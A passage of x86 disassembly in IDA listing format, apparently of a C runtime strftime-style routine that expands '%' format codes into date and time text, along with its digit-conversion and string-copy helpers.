mov [ebp-10h], eax
loc_434830: ; CODE XREF: seg000:00434825j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_4348A6
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_434827
; ---------------------------------------------------------------------------
loc_4348A6: ; CODE XREF: seg000:00434834j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41E550
add esp, 8
push eax
call sub_41AC70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_434986: ; CODE XREF: seg000:00434769j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4349B0
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4349B0 proc near ; CODE XREF: seg000:004349A5p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_10], 0
jnz short loc_4349C6
mov eax, ds:off_450F58
mov [ebp+var_10], eax
jmp short loc_4349CC
; ---------------------------------------------------------------------------
loc_4349C6: ; CODE XREF: sub_4349B0+Aj
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
loc_4349CC: ; CODE XREF: sub_4349B0+14j
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_434A0A
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_8], 1
jmp short loc_434A11
; ---------------------------------------------------------------------------
loc_434A0A: ; CODE XREF: sub_4349B0+3Aj
mov [ebp+var_8], 0
loc_434A11: ; CODE XREF: sub_4349B0+58j
; sub_4349B0:loc_434AFDj
cmp [ebp+var_C], 0
jbe loc_434B02
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_434A31
cmp [ebp+var_14], 25h
jz short loc_434A36
jmp short loc_434A90
; ---------------------------------------------------------------------------
loc_434A31: ; CODE XREF: sub_4349B0+77j
jmp loc_434B02
; ---------------------------------------------------------------------------
loc_434A36: ; CODE XREF: sub_4349B0+7Dj
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov ds:dword_4EED08, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_434A67
mov ds:dword_4EED08, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_434A67: ; CODE XREF: sub_4349B0+A2j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_434B40
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_434AFD
; ---------------------------------------------------------------------------
loc_434A90: ; CODE XREF: sub_4349B0+7Fj
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_434AD8
cmp [ebp+var_C], 1
jbe short loc_434AD8
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_434AD8: ; CODE XREF: sub_4349B0+FBj
; sub_4349B0+101j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_434AFD: ; CODE XREF: sub_4349B0+DEj
jmp loc_434A11
; ---------------------------------------------------------------------------
loc_434B02: ; CODE XREF: sub_4349B0+65j
; sub_4349B0:loc_434A31j
cmp [ebp+var_8], 0
jz short loc_434B14
push 13h
call sub_421B20
add esp, 4
jmp short loc_434B1F
; ---------------------------------------------------------------------------
loc_434B14: ; CODE XREF: sub_4349B0+156j
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
loc_434B1F: ; CODE XREF: sub_4349B0+162j
cmp [ebp+var_C], 0
jbe short loc_434B33
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_434B35
; ---------------------------------------------------------------------------
loc_434B33: ; CODE XREF: sub_4349B0+173j
xor eax, eax
loc_434B35: ; CODE XREF: sub_4349B0+181j
mov esp, ebp
pop ebp
retn
sub_4349B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434B40 proc near ; CODE XREF: sub_4349B0+CDp
; sub_435310+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_4350A8
mov eax, [ebp+var_C]
xor edx, edx
mov dl, ds:byte_435109[eax]
jmp ds:off_4350AD[edx*4]
loc_434B73: ; DATA XREF: seg000:004350DDo
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call sub_435160
add esp, 0Ch
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434B95: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350B1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_435160
add esp, 0Ch
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434BB8: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350E1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_435160
add esp, 0Ch
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434BDB: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350B5o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_435160
add esp, 0Ch
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434BFE: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350E5o
cmp ds:dword_4EED08, 0
jz short loc_434C86
mov ds:dword_4EED08, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_435310
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_434C40
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434C40: ; CODE XREF: sub_434B40+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_435310
add esp, 14h
jmp short loc_434CF9
; ---------------------------------------------------------------------------
loc_434C86: ; CODE XREF: sub_434B40+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_435310
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_434CB5
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434CB5: ; CODE XREF: sub_434B40+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_435310
add esp, 14h
loc_434CF9: ; CODE XREF: sub_434B40+144j
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434CFE: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350E9o
mov ecx, ds:dword_4EED08
mov ds:dword_4EED0C, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434D28: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350B9o
mov eax, ds:dword_4EED08
mov ds:dword_4EED0C, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434D50: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350BDo
mov edx, ds:dword_4EED08
mov ds:dword_4EED0C, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_434D7A
mov [ebp+var_4], 0Ch
loc_434D7A: ; CODE XREF: sub_434B40+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434D95: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350EDo
mov edx, ds:dword_4EED08
mov ds:dword_4EED0C, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434DC2: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350F1o
mov ecx, ds:dword_4EED08
mov ds:dword_4EED0C, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434DEF: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350C1o
mov eax, ds:dword_4EED08
mov ds:dword_4EED0C, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434E17: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350F5o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_434E3C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_435160
add esp, 0Ch
jmp short loc_434E56
; ---------------------------------------------------------------------------
loc_434E3C: ; CODE XREF: sub_434B40+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_435160
add esp, 0Ch
loc_434E56: ; CODE XREF: sub_434B40+2FAj
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434E5B: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350C5o
mov edx, ds:dword_4EED08
mov ds:dword_4EED0C, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434E84: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350C9o
mov ecx, ds:dword_4EED08
mov ds:dword_4EED0C, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_434EED
; ---------------------------------------------------------------------------
loc_434E9B: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350F9o
mov ecx, ds:dword_4EED08
mov ds:dword_4EED0C, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434EC5: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350CDo
mov eax, ds:dword_4EED08
mov ds:dword_4EED0C, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_434EE1
mov [ebp+var_8], 6
jmp short loc_434EED
; ---------------------------------------------------------------------------
loc_434EE1: ; CODE XREF: sub_434B40+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_434EED: ; CODE XREF: sub_434B40+359j
; sub_434B40+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_434F01
mov [ebp+var_4], 0
jmp short loc_434F2E
; ---------------------------------------------------------------------------
loc_434F01: ; CODE XREF: sub_434B40+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_434F2E
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_434F2E: ; CODE XREF: sub_434B40+3BFj
; sub_434B40+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434F49: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350FDo
cmp ds:dword_4EED08, 0
jz short loc_434F80
mov ds:dword_4EED08, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_435310
add esp, 14h
jmp short loc_434FA2
; ---------------------------------------------------------------------------
loc_434F80: ; CODE XREF: sub_434B40+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_435310
add esp, 14h
loc_434FA2: ; CODE XREF: sub_434B40+43Ej
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434FA7: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350D1o
mov ds:dword_4EED08, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_435310
add esp, 14h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_434FD8: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:00435101o
mov eax, ds:dword_4EED08
mov ds:dword_4EED0C, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_4351B0
add esp, 10h
jmp loc_4350A8
; ---------------------------------------------------------------------------
loc_43500E: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350D5o
mov edx, ds:dword_4EED08
mov ds:dword_4EED0C, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_4351B0
add esp, 10h
jmp short loc_4350A8
; ---------------------------------------------------------------------------
loc_43505B: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:004350D9o
call sub_42ED80
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, ds:off_45071C[eax*4]
push ecx
call sub_435160
add esp, 0Ch
jmp short loc_4350A8
; ---------------------------------------------------------------------------
loc_435086: ; CODE XREF: sub_434B40+2Cj
; DATA XREF: seg000:off_4350ADo
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_4350A8: ; CODE XREF: sub_434B40+1Bj
; sub_434B40+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_434B40 endp
; ---------------------------------------------------------------------------
off_4350AD dd offset loc_435086 ; DATA XREF: sub_434B40+2Cr
dd offset loc_434B95
dd offset loc_434BDB
dd offset loc_434D28
dd offset loc_434D50
dd offset loc_434DEF
dd offset loc_434E5B
dd offset loc_434E84
dd offset loc_434EC5
dd offset loc_434FA7
dd offset loc_43500E
dd offset loc_43505B
dd offset loc_434B73
dd offset loc_434BB8
dd offset loc_434BFE
dd offset loc_434CFE
dd offset loc_434D95
dd offset loc_434DC2
dd offset loc_434E17
dd offset loc_434E9B
dd offset loc_434F49
dd offset loc_434FD8
dd offset loc_4350A8
byte_435109 db 0 ; DATA XREF: sub_434B40+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435160 proc near ; CODE XREF: sub_434B40+48p
; sub_434B40+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_435163: ; CODE XREF: sub_435160+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_4351A6
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4351A6
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_435163
; ---------------------------------------------------------------------------
loc_4351A6: ; CODE XREF: sub_435160+9j
; sub_435160+13j
pop ebp
retn
sub_435160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4351B0 proc near ; CODE XREF: sub_434B40+1DBp
; sub_434B40+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp ds:dword_4EED0C, 0
jz short loc_4351DA
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_435260
add esp, 0Ch
jmp short loc_435259
; ---------------------------------------------------------------------------
loc_4351DA: ; CODE XREF: sub_4351B0+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_435250
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_4351F8
; ---------------------------------------------------------------------------
loc_4351EF: ; CODE XREF: sub_4351B0+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_4351F8: ; CODE XREF: sub_4351B0+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_435234
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4351EF
; ---------------------------------------------------------------------------
loc_435234: ; CODE XREF: sub_4351B0+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
loc_435246: ; DATA XREF: seg002:004509D4o
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_435259
; ---------------------------------------------------------------------------
loc_435250: ; CODE XREF: sub_4351B0+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_435259: ; CODE XREF: sub_4351B0+28j
; sub_4351B0+9Ej
mov esp, ebp
pop ebp
retn
sub_4351B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435260 proc near ; CODE XREF: sub_4351B0+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_4352BB
loc_435276: ; CODE XREF: sub_435260+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_4352BB
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_435276
loc_4352BB: ; CODE XREF: sub_435260+14j
; sub_435260+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4352D4: ; CODE XREF: sub_435260+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_4352D4
mov esp, ebp
pop ebp
retn
sub_435260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435310 proc near ; CODE XREF: sub_434B40+EBp
; sub_434B40+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_435316: ; CODE XREF: sub_435310+2EAj
; sub_435310:loc_4356DBj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_43578C
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_43578C
mov [ebp+var_8], 0
mov ds:dword_4EED0C, 0
mov [ebp+var_C], 0
loc_435345: ; DATA XREF: seg002:00450A58o
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_435356
